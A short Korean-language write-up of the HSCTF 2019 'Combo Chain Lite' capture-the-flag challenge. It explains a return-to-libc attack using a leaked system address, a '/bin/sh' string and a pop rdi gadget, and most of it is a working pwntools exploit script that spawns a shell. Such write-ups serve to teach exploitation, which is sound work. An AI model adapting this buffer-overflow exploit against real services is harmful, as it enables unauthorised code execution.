HSCTF 2019 - Combo Chain Lite

64bit 바이너리에 NX만 활성화 되어있다.

 

 

Lite문제는 system의 주소를  주고 문자열 끝에 "/bin/sh"도 준다.

 

따라서 RTL로 쉘을 따면 되겠다.

 

64bit는 rdi, rsi, rdx순으로 인자를 받으므로 

pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다.

 

 

from pwn import *
 
p = process('./combo-chain-lite')
 
pop_rdi = 0x401273
 
p.recvuntil("computer: ")
libc_system = int(p.recvuntil('\n').strip(), 16)
print "libc_system : " + hex(libc_system)
 
bin_sh = 0x402028 + len("Dude you hear about that new game called ")
 
pay = ''
pay += 'a'*0x8
pay += 'bbbbbbbb'
pay += p64(pop_rdi)
pay += p64(bin_sh)
pay += p64(libc_system)
p.sendline(pay)
 
p.interactive()